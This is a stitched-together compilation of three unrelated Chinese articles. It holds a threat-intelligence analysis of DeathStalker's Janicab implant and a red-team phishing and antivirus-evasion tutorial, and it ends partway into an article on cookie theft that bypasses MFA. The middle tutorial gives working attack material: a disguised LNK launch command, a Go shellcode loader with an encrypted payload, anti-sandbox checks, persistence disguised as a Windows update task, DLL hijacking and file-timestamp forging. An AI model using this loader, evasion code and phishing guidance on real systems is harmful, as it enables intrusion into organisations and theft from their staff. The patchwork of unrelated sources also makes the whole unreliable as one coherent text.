Janicab是一種基於VBS的惡意軟件植入程序，其功能與對應的惡意軟件家族Powersing和EVILNUM基本相似。所有這些都具有基本功能，如命令執行、導入註冊表文件，以及下載其他工具的能力，同時保持高反VM和防禦規避的持久性。 由於這三個惡意軟件家族都有很強的相似性，所以在本節中我們只討論Janicab版本之間的有趣差異。 Janicab可以被認為是一種模塊化的、解釋語言的惡意軟件。這意味著攻擊者能夠添加/刪除功能或嵌入文件；解釋語言惡意軟件以相當低的工作量提供了這種靈活性。例如，在舊版本中，SnapIT.exe(一種已知的用於捕捉屏幕截圖的工具)每隔一段時間就會嵌入、刪除和執行。該工具在後來的版本中被其他定制的工具所取代，這些工具可以完成相同的工作。我們還在較老的版本中看到了音頻錄製功能，但在後來的版本中沒有。 在較新的變體中，我們開始看到攻擊者嵌入了一個基於DLL的鍵盤記錄器或屏幕捕獲實用程序，該實用程序使用“run_DLL_or_py”函數調用。有趣的是，根據卡巴斯基威脅歸因引擎（KTAE）分析，該鍵盤記錄器與我們之前報告的Powersing攻擊中使用的另一個鍵盤記錄器非常相似，其名稱為“AdobeUpdater.dll”。在Powersing攻擊中，DLL在攻擊週期的後期從輔助C2服務器獲取。然而，在Janicab攻擊中，它大多被嵌入為HEX字節數組，或作為額外資源嵌入CAB文件中。我們知道有八個不同的Janicab版本：1.0.8、1.1.2、1.1.4、1.2.5、1.2.7、1.2.8、1.2.9a、1.3.2。 Janicab惡意軟件演變對不同Janicab版本的進一步比較表明，在整個惡意軟件開發週期中添加了附加功能，同時保留了特定功能。下表顯示了一些有趣的新功能，這些功能是根據參與者的要求或為了逃避安全控製而在幾個變體的開發過程中引入的： 函數名稱簡介1.函數checkRunningProcess（）——檢查指示惡意軟件分析或進程調試的進程列表； 2.函數delFFcookies（），函數delGCcookies（），函數delIEcookies（）——指向相應的瀏覽器位置並刪除其cookie； 3.函數downFile（args）——用於從C2下載文件並將其保存到磁盤； 4.函數GetKl（kl）——獲取鍵盤記錄器數據，base64對其進行編碼，然後將其發送到C2； 5.函數runCmd（cmd，cmdType）——使用cmd .exe或PowerShell.exe執行命令的函數； 6.函數run_dll_or_py（arg1，arg2）——用於在使用兩個參數時執行Python或dll文件；arg1是DLL路徑，arg2是DLL導出的函數名（MyDllEntryPoint）； 7.函數add_to_startup_manager(server, installedAV)，函數add_to_startup_reg_import（startupFile，starterFile），函數add_to_startup_shortcut（startupFile，starterFile）——用於在C2上首次註冊受害者；執行持久化操作並在系統啟動文件夾和註冊表HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中安裝Microsoft Sync Services.lnk； 8.函數isMalwb（）——用於檢查是否安裝了MalwareBytes。在檢查其他AV產品的其他變體中也看到了類似的函數； 9.函數HandleCCleaner（）——通過檢查系統註冊表檢查是否安裝了CCleaner，並相應地刪除註冊表項； 10.函數RunIeScript（）——使用CScript.exe運行ie.vbe腳本，以確保C2通信使用IE隱藏瀏覽器後不存在剩餘的Internet Explorer實例； 11.函數getAV（）——獲取已安裝的AV產品列表； 從1.0.8版本開始，Janicab VBS植入程序以字節數組的形式嵌入了幾個文件。這些文件通常是註冊表、VBE、PE EXE或DLL文件。在最近的示例中，雖然我們仍然可以看到此類資源的嵌入式字節數組，但大部分額外資源都放在CAB文件文件中，該文件在第一階段的進程中被釋放。 以下是值得注意的釋放文件及其說明： K.dll——以其創建的目錄命名為Stormwind，這是一個基於dll的鍵盤記錄器，它枚舉系統區域設置、時區信息，並設置全局掛鉤以捕獲擊鍵。它將帶有時間戳的擊鍵寫入\AppData\Roaming\Stormwind目錄下名為log.log的日誌文件中。它監視鍵盤記錄器kill switch命令的\AppData\Local\Temp\ReplaceData\下的killKL.txt。 PythonProxy.py——一個支持IPv4/IPv6的基於Python的代理，能夠在本地目標系統和遠程C2服務器之間中繼web流量。支持HTTP方法CONNECT、OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE。 Ftp.py——本地Ftp基於Python的服務器，服務於具有creds test:test端口2121。使用Junction.exe（一個sysinternals工具）創建除軟盤驅動器之外的所有現有驅動器的目錄別名。添加regkey以接受EULA，因為它是一個系統內部工具，如果是首次運行，則需要EULA。然後將“連接”的本地目錄提供給FTP服務器。 Runner.py——一個Python腳本，使用四個參數：遠程SSH服務器、遠程SSH端口、遠程綁定端口和“ftp”或“代理”作為應用程序選項。 根據為應用程序選項接收的參數，它將運行ftp.py(如果參數為ftp)或pythonproxy.py(如果參數為proxy)。 在這兩個選項中，腳本將啟動一個SSH反向隧道，連接到由攻擊者控制的遠程服務器，並將該隧道用作socks代理，或作為一種方法來瀏覽先前使用本地FTP服務器初始化的本地驅動器。 如果在%temp%\ReplaceData\中找到killrunner.txt文件，runner.py將退出。 Junction.exe——是一個sysinternals工具，它創建NTFS連接點（別名）；創建“\\Drives”目錄，並將其映射到使用FTP.py創建的本地FTP服務器並提供其內容。 Plink.exe——已知的基於Windows的CLI SSH客戶端，用於透視和隧道，由Runner.py引用以進行反向隧道/文件複製。 基礎設施Deathstalker的一個顯著特點是它使用DDR/web服務來託管一個編碼字符串，該字符串隨後被惡意軟件植入程序解密。我們一直認為YouTube被用作DDR，儘管惡意軟件設置中存在其他網絡服務鏈接，但未被使用，例如2019年4月停用的Google+鏈接。 我們最近注意到的一個有趣的方面是使用了2021攻擊中使用的未列出的舊YouTube鏈接。從歷史上看，分析師可以使用搜索引擎和YouTube搜索功能來查找各自web服務中使用的模式。然而，由於攻擊者使用未列出的YouTube舊鏈接，在YouTube上找到相關鏈接的可能性幾乎為零。這也有效地允許攻擊者重用C2基礎設施。 有趣的是，舊的和新的Janicab變體仍然使用相同的web服務功能聲明——YouTubeLinks，並在將十進制數轉換為後端C2 IP地址的過程中繼續使用常數除法。最近使用的除法是1337和5362。 至於實際的C2 IP地址，我們發現兩個IP地址（87.120.254[.]100、87.120.37[.]68）與PowerPepper攻擊中使用的C2（例如PowerPepper C2 87.120.37[.]192）位於同一ASN中。 C2通信使用的協議是帶有GET/POST方法的HTTP，後端C2軟件是PHP。 Janicab 2021DDR清單 Janicab 2015DDR列表 最近攻擊中使用的未列出YouTube DDR示例 在評估其中一個C2服務器時，我們發現攻擊者正在託管並調用來自受害設備的ICMPshell可執行文件。名為icmpxa.exe的ICMP shell工具基於一個舊的Github項目。攻擊者編譯了icmpsh-s.c (MD5 5F1A9913AEC43A61F0B3AD7B529B397E)，同時更改了其中的一些內容。這個可執行文件（哈希和文件名）的獨特性，使我們能夠透視和收集攻擊者使用的其他以前未知的C2服務器。有趣的是，我們還發現以前在PowerPepper攻擊中使用了相同的ICMPshell可執行文件，這表明兩個惡意軟件家族之間存在潛在的基礎設施重疊。 由於Janicab是一個基於VBS的惡意軟件，C2命令可以很容易地從嵌入的函數中派生出來。該惡意軟件利用VBS函數通過HTTPGET/POST請求連接到C2服務器，並連接到特定的PHP頁面。每個PHP頁面都提供某些功能。自從Janicab的早期版本以來，PHP頁面的文件名基本保持不變，並表示後端/預期功能。然而，從1.1.x版本開始，攻擊者開始縮短PHP頁面的文件名，而不改變預期的功能。下表總結了PHP頁面、它們的舊命名及其潛在用途： PHP頁面及其原有名稱的介紹Status2.php（原名Status.php）——檢查服務器狀態； a.php（Alive.php）——從受害者接收信標數據； /gid.php?action=add（GenerateID.php?action=add）——如果這是一個新的受害者，則生成一個用戶ID並在C2後端註冊系統配置文件信息；將受害者添加到數據庫； rit.php（ReportIT.php）——在評估設備是否有任何反分析檢查後，記錄用戶設備是否與IT人員相關。在舊的Janicab版本中，消息也以(“it guy”)的形式發送。 受影響的對象屬於傳統的Deathstalker目標範圍；主要是法律和金融投資管理（FSI）機構。然而，我們還記錄了一個潛在的新受影響行業——旅行社。中東地區和歐洲也是Deathstalker的重災區。 歸因本報告中討論的攻擊與Deathstalker攻擊組織有關。歸因基於新Janicab變體的使用、獨特的TTP、受害者學和攻擊者運營商使用的基礎設施。 Janicab和Powersing的比較攻擊分析突出了幾個階段的相似之處。 1.與之前的Deathstalker攻擊中使用的LNK滴管相同的SID和元數據； 2.Janicob和Powersing之間使用啟動文件夾中的LNK的類似持久機制； 3.Janicab具有類似的感染執行流程，並使用解釋語言工具集，如VBS、VBE和Python； 4.Janicab macOS和Windows版本的Python文件命名類似於EVILNUM惡意軟件（例如runner.py、serial.txt等）； EVILNUM runner.py用於文件傳輸 Janicab 2021 runner.py文件傳輸片段 MacOS runner.py的舊Janicab，用於啟動具有文件傳輸功能的後台服務 基於Python的工具集和庫的使用在使用Janicab、Powersing、EVILNUM和PowerPepper的所有Deathstalker攻擊中是常見的； YouTube以及其他網絡服務/DDR的使用在Janicob和Powersing攻擊中很常見；在Janicab、Powersing和EVILNUM中，調用和解析YouTube和其他DDR的C2 IP地址的方法幾乎相同； 已識別的C2 IP屬於以前使用PowerPepper攻擊的ASN； 以法律和金融機構為重點的多樣化受害者研究，可能被其他黑客組織所針對； 基於我們的KTAE相似性引擎，所使用的dll（Stormwind）鍵盤記錄器與之前Powersing攻擊中看到的舊版本有90%以上的相似性； 新舊Janicob和Powersing中的相同代碼塊： 通過進程和虛擬MAC地址檢測虛擬機，MAC地址的列表順序在兩個惡意軟件家族之間是相同的，甚至在2015年和2021 Janicab版本之間也是相同的； 幾乎相同的反分析過程 Janicab 2021虛擬MAC地址列表 啟用虛擬MAC地址列表 總結Janicab是Deathstalker使用的最古老的惡意軟件家族，可以追溯到2013年，儘管沒有太多公開信息可用，但攻擊者一直在開發和更新惡意軟件代碼，更新LNK滴管的結構，並切換工具集，以在很長一段時間內保持隱蔽性。 攻擊者仍然將重點放在中東和歐洲，並對攻擊法律和金融機構表現出極大的興趣。 由於攻擊者運營商在其歷史和最近的攻擊中繼續使用基於解釋語言的惡意軟件，如Python、VBE和VBS，並且主要是在其惡意軟件家族中，這可以用於防御者的優勢，因為應用程序白名單和操作系統強化是阻止攻擊者攻擊嘗試的有效技術。防御者還應尋找在沒有GUI的情況下運行的Internet Explorer進程，因為Janicab正在以隱藏模式使用IE與C2進行通信。在網絡上，攻擊者使用C2 IP地址而不是域名仍然是繞過基於DNS的安全控制的主要方法。相反，攻擊者仍然使用DDR作為解決C2 IP地址的方法；這是一種DNS解析的替代技術，通過使用可信的、大多數允許的公共web服務，允許C2通信與合法流量混合。這意味著網絡維護者可以尋找對使用的DDR的頻繁訪問，然後是指向IP地址而不是域名的HTTP會話。

简述 钓鱼是攻防对抗中一种常用的手段，攻击者通常伪装成可信任的实体，例如合法的机构、公司或个人，以引诱受害者揭示敏感信息或执行恶意操作，能快速地撕破目标的伤口，快速进内网进行刷分，投递木马同时需要考虑逃避杀毒软件检测，本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开 信息搜集 批量邮箱搜集 https://app.snov.io/ http://www.skymem.info/ 搜索引擎 一般来说，企业邮箱都存在邮件网关，邮件投递容易被退信拦截，所以我们要选择私人邮箱或不被邮服拦截的邮箱： 如 xx举报，xx招聘面对大众的邮箱，相关语法： site:"xxx.com" 举报 site:"xxx.com" 招聘 xx公司举报 @126.com xx公司招聘 @qq.com 钓鱼手法 社工钓鱼 首先是目标选择，目标群体：hr、经理、财务 等安全意识薄弱的人优先选择，提前准备多套场景应对 选择目标公司分部进行钓鱼成功率较高，提前想好话术和应变对策，避免被识破，最好不要在总部，避开IT信息安全部 社牛的师傅可以尝试电话钓鱼，获取信任再添加微信发送木马（需要过人的心理素质和应变能力，之前从潘高工身上学到很多） 邮件钓鱼 群发邮件（不推荐，易被管理员发现或被邮件网关拦截） 搜集关键人物个人邮箱定向投递（推荐，隐蔽性强） 福利补贴发放 紧贴时事话题，使用各种福利活动吸引目标用户点击，把钓鱼链接转为二维码发送 简历投递 招聘投递简历，hr面对大量简历不会仔细查看后缀 钓鱼文案不会写？没关系，能自动生成就不要手打，这里给我们的chatgpt大哥加鸡腿 举报信 xxx实名举报投诉，这种邮件一般处理反馈速度很快 钓鱼文件伪装 通用技巧 木马需要打压缩，添加密码并隐藏内容，或对木马文件进行双重压缩，一定程度绕过邮件网关的检测 选择不常见的后缀但仍可作为exe执行，如scr、com等 文件名使用长命名，如果对方文件显示设置不当，预览时候看不到后缀 lnk钓鱼 如果得知目标单位使用的不是360天擎这类杀软，可使用lnk文件进行钓鱼（360会拦截） 快捷方式目标位置填入： %windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe" 图标更换路径选择： C:\\Program Files (x86)\\Microsoft\\Edge\\Application %SystemRoot%\\System32\\imageres.dll %SystemRoot%\\System32\\shell32.dll 弹框错误提示 运行msgbox提示“文件已损坏”等具有迷惑性的内容 vbs实现 On Error Resume Next WScript.Sleep 2000 msgbox "当前文件已损坏，请更换工具进行打开",64,"提示" go代码实现 package main import ( "github.com/gen2brain/dlgs" ) func box() { _, err := dlgs.Info("提示", "当前文件已损坏，请更换工具进行打开") if err != nil { panic(err) } } 实现效果 文件捆绑器 绑定正常文件和恶意木马，运行后会对exe本身进行自删除，然后在当前目录下释放正常文件并打开，并释放木马至 C:\Users\Public\Videos目录下运行 1.1版本 bypass常规杀软 (360、def、火绒等) 1.2版本 新增文件释放后自动隐藏 效果实现 常见杀软类型 杀软类型杀软特点 火绒 编译参数限制多，对hash和字符串特征进行识别，静态能过动态基本不查杀，对部分go库调用报毒 360 单360查杀力不高，装了杀毒后直接儿子变爸爸，查杀力大大提升，杀毒会自动上传样本，容易上线后云查杀过一会掉线，推荐使用分离加载方式，并使用反沙箱的代码延长马子时间 360核晶 开启后对整体查杀性能影响不大，避免使用进程注入的方式加载shellcode，执行命令使用bof插件进行替代 Defender 新增cobaltstrike规则，推荐使用Stageless，免杀性比Stage好，4.5版本开启sleep_mask参数增强免杀性，对体积大的文件查杀度不高 基础的加载方式 以下只是基础的示例，仅仅实现加密解密加载的功能 先使用python脚本进行加密 payload.c 文件 import base64 originalShellcode = b"\xfc\xe8\x89\x00" encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode]) encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8') print(encodedShellcode) 输出的内容填入encryptedShellcode进行编译 package main import ( "encoding/base64" "syscall" "unsafe" "github.com/lxn/win" "golang.org/x/sys/windows" ) func main() { // 通过 base64 和 XOR 解密 shellcode 内容 win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw==" decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode) for i := 0; i < len(decodedShellcode); i++ { decodedShellcode[i] ^= 0x77 } // 获取 kernel32.dll 中的 VirtualAlloc 函数 kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc") // 分配内存并写入 shellcode 内容 allocSize := uintptr(len(decodedShellcode)) mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decodedShellcode) // 执行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } 通用杀软bypass技巧 免杀性优先选择远程加载或文件分离加载，但同时也存在一些缺点，前者可能会被溯源或被安全设备封堵url地址，后者需要两个文件更适合维权使用 垃圾代码填充，在加载shellcode前先进行无害化操作，干扰沙箱和杀软的判断，或者通过延时执行或增大程序体积一定几率绕过检测 选择小众语⾔来编写制作loader特征较少，工具除了CS也可使用vshell等其他自写C2 一键生成免杀 臭不要脸的我又来安利一波github项目，咳咳，觉得还可以的师傅可以点个star⭐ 免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly 千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji 编译参数的影响 go： -race 竞态检测编译 -ldflags '-s -w' 去除编译信息 -ldflags '-H windowsgui' 隐藏窗口 garble(混淆库)： -tiny 删除额外信息 -literals 混淆文字 -seed=random base64编码的随机种子 举个例子，编译一个无害化的代码使用了 -literals 参数，360仍会报毒，不加则不报毒 package main func main() { // 两个要相乘的数字 num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } } -H windowsgui参数同样也会对免杀性产生很大影响，如果需要隐藏黑框可以用下面的代码替代（但是win11下仍有黑框） package main import "github.com/lxn/win" func main(){ win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) } func box()int{ FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole") FreeConsole.Call() return 0 } func main() { box() 静态特征处理 混淆处理 go低版本 https://github.com/boy-hack/go-strip go高版本 https://github.com/burrowers/garble mangle替换字符串 https://github.com/optiv/Mangle Mangle.exe -I xxx.exe -M -O out.exe mangle处理前后对比，可发现对go编译特征字符串替换为随机字符 base64编码变量 cmd := exec.Command("rundll32.exe", "xxx") 关键字符串进行Base64编码，并在相应位置替换变量值 encodedCommand := "cnVuZGxsMzIuZXhl" encodedArguments := "MTExTdGFydA==" // 解码Base64编码的命令和参数 decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand) decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments) cmd := exec.Command(string(decodedCommand), string(decodedArguments)) QVM绕过 添加资源 1、添加图标签名版权等信息内容，可使用以下项目一键添加 https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker 行为特征 运行直接加载shellcode，一般会直接报qvm package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 先执行正常行为再进行shellcode加载，qvm无报毒，以下是示例，可根据实际情况进行调整 package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 好用的反沙箱技巧 出口IP判断 func san() { url := "https://myip.ipip.net/" resp, err := http.Get(url) if err != nil { os.Exit(1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { os.Exit(1) } content := string(body) if strings.Contains(content, "中国") { } else { os.Exit(1) } } 检测桌面文件数量 func desktop() { desktopPath, err := os.UserHomeDir() if err != nil { fmt.Println("无法获取用户桌面路径：", err) return } desktopPath = filepath.Join(desktopPath, "Desktop") fileCount, err := countFilesInDir(desktopPath) if err != nil { fmt.Println("无法读取用户桌面文件列表：", err) return } fmt.Println("用户桌面文件数：", fileCount) if fileCount < 7 { os.Exit(0) } // 在这里编写你的其他代码逻辑 } 检测微信等常见软件 func CheckWeChatExist() { k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE) if err != nil { os.Exit(0) } defer k.Close() s, _, err := k.GetStringValue("InstallDir") if err != nil || s == "" { os.Exit(0) } } 检测pagefile.sys func sys() { pageFilePath := "C:\\pagefile.sys" _, err := os.Stat(pageFilePath) if os.IsNotExist(err) { os.Exit(1) } else if err != nil { } else { } } 判断系统类型 func language() { language := os.Getenv("LANG") if strings.Contains(language, "en_US") { os.Exit(0) } else { } } 内存流量处理 流量侧可通过云函数或者CDN进行伪装，配置可参考网上教程在这里不进行详述，相关项目可参考，但要注意oss权限设置避免被溯源 https://github.com/9bie/oss-stinger https://github.com/pantom2077/alioss-stinger 自定义profile，可使用以下项目随机生成 https://github.com/threatexpress/random_c2_profile 内存混淆，动态加解密beacon内存，重载Ntdll等技术，可参考下面文章 https://www.freebuf.com/articles/system/361161.html https://idiotc4t.com/defense-evasion/load-ntdll-too 执行命令bypass 直接通过cs执行截图，spawn等敏感操作，容易导致beacon掉线，这时候可以使用bof替代，下面列举一些好用的 进程迁移 https://github.com/ajpc500/BOFs 截图 https://github.com/baiyies/ScreenshotBOFPlus 删除自身 https://github.com/AgeloVito/self_delete_bof bypassuac提权 https://github.com/youcannotseemeagain/ele 可以定期去github上关注一些好用的bof 权限维持 常规命令添加计划任务，注册表这里不过多叙述，网上命令教程有 添加计划任务 在攻防中，上线机器总是需要手动进行维权太过于麻烦，直接在代码加入上线自动添加计划任务，测试可以bypass常规杀软 部分实现代码： https://github.com/capnspacehook/taskmaster package main import ( "os" "github.com/capnspacehook/taskmaster" ) func runWinTask(path string) { // 创建初始化计划任务 taskService, _ := taskmaster.Connect() defer taskService.Disconnect() // 定义新的计划任务 newTaskDef := taskService.NewTaskDefinition() // 添加执行程序的路径 newTaskDef.AddAction(taskmaster.ExecAction{ Path: path, }) // 定义计划任务程序的执行时间等，设置为开机启动 newTaskDef.AddTrigger(taskmaster.BootTrigger{ TaskTrigger: taskmaster.TaskTrigger{ Enabled: enable, }, }) // 创建计划任务 result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true) result=result } func main() { path, err := os.Executable() if err != nil { return } runWinTask(path) } 隐藏计划任务 具体原理可参考0x727师傅的文章 https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html 选择主机随机进程名作为计划任务程序文件名 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\ 创建的计划任务名取同一随机进程 计划任务触发器以分钟为单位，无限期持续 更改 Index、删除 SD 的键值，隐藏计划任务对应的 XML 文件 dll劫持替换 比较常用的有 C:\Program Files (x86)\Google\Update 当 GoogleUpdate.exe 程序运行的时候，会调用当前目录下的 goopdate.dll 文件 单个查找 https://github.com/wietze/windows-dll-hijacking 批量查找 https://github.com/knight0x07/ImpulsiveDLLHijack ImpulsiveDLLHijack.exe -path xxx.exe 这里使用navicat进行测试，可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll 修改文件时间 当我们上传cs木马至服务器的时候，由于修改日期是新的，蓝队人员很容易通过 everything 筛选时间排查应急 这时候我们可以使用一些技巧进行隐藏 https://github.com/MsF-NTDLL/ChTimeStamp 通过这个项目实现修改文件时间，先看看预览效果 查看net版本 shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r 需要安装net3.5 没有安装一下 shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs https://github.com/MsF-NTDLL/ChTimeStamp shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll https://github.com/sorabug/ChangeTimestamp ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27 转自于原文连接：https://forum.butian.net/share/2532

隨著越來越多的企業轉向使用雲服務和多因素身份驗證，與身份和身份驗證相關的cookie 就為攻擊者提供了一條新的攻擊途徑。 憑據竊取惡意軟件是各類攻擊者經常使用的工具包的一部分。雖然用戶帳戶名和密碼是憑據竊取活動的最明顯目標，但越來越多地使用多因素身份驗證(MFA) 來保護基於Web 的服務已經使該方法不再有效。越來越多的攻擊者轉向竊取與證書相關的“cookie”來複製當前或最近的web會話，並在此過程中繞過MFA。 最新版的Emotet 殭屍網絡只是針對瀏覽器存儲的cookie 和其他憑據（例如存儲的登錄名和在某些情況下支付卡數據）的眾多惡意軟件家族之一。谷歌的Chrome 瀏覽器使用相同的加密方法來存儲多因素身份驗證cookie 和信用卡數據——這兩個都是Emotet的目標。 針對cookie 的攻擊範圍很廣，小到信息竊取惡意軟件，例如Raccoon Stealer 惡意軟件即服務和RedLine Stealer 鍵盤記錄器/信息竊取程序，它們都可以通過地下論壇購買，且通常被入門者用來批量盜取cookie和其他證書，並出售給犯罪市場。 美國藝電公司（Electronic Arts，NASDAQ: ERTS，簡稱EA）一名員工的cookie 就出現了明顯的洩漏。 黑客組織Lapsus$的成員聲稱從市場購買了一個被盜的會話cookie，使他們能夠訪問EA 的Slack 實例；這使他們能夠欺騙EA 員工的現有登錄名，並欺騙EA 的IT 團隊成員為他們提供網絡訪問權限。這使得Lapsus$ 能夠獲取780 GB 的數據，包括遊戲和圖形引擎源代碼，該企業隨後利用這些數據試圖勒索EA。 對於高級攻擊者來說，研究人員觀察到活躍的攻擊者以各種方式獲取cookie。在某些示例中，研究人員已經看到勒索軟件運營商使用了與不太複雜的攻擊者相同的信息竊取惡意軟件的證據。但研究人員也經常看到實際攻擊濫用合法的攻擊安全工具，例如Mimikatz、Metasploit Meterpreter 和Cobalt Strike，以執行cookie 收集惡意軟件或運行從瀏覽器緩存中獲取cookie 的腳本。 還有一些合法的應用程序和進程可以與瀏覽器的cookie文件交互。研究人員在Sophos 的遙測技術中發現了cookie-snooping檢測的反惡意軟件、審計工具和操作系統助手：例如，Bing 的壁紙更新程序可以訪問cookie來獲取新的桌面背景。但是，在篩選出這些良性來源後，我們看到每天有數千次訪問瀏覽器cookie 的嘗試超出了良性軟件行為的範圍。有時，隨著特定活動的啟動，這些檢測結果會急劇上升。此外，一些使用cookie 的合法應用程序可能會洩露它們，從而將令牌暴露給攻擊者。 進入存儲cookie的文件瀏覽器將cookie 存儲在文件中，對於Mozilla Firefox、Google Chrome 和Microsoft Edge，該文件是用戶配置文件文件夾中的SQLite 數據庫。類似的SQLite文件存儲瀏覽器歷史記錄，網站登錄和自動填充這些瀏覽器的信息。其他連接到遠程服務的應用程序有自己的cookie存儲庫，或者在某些情況下可以訪問web瀏覽器的cookie存儲庫。 數據庫中每個cookie 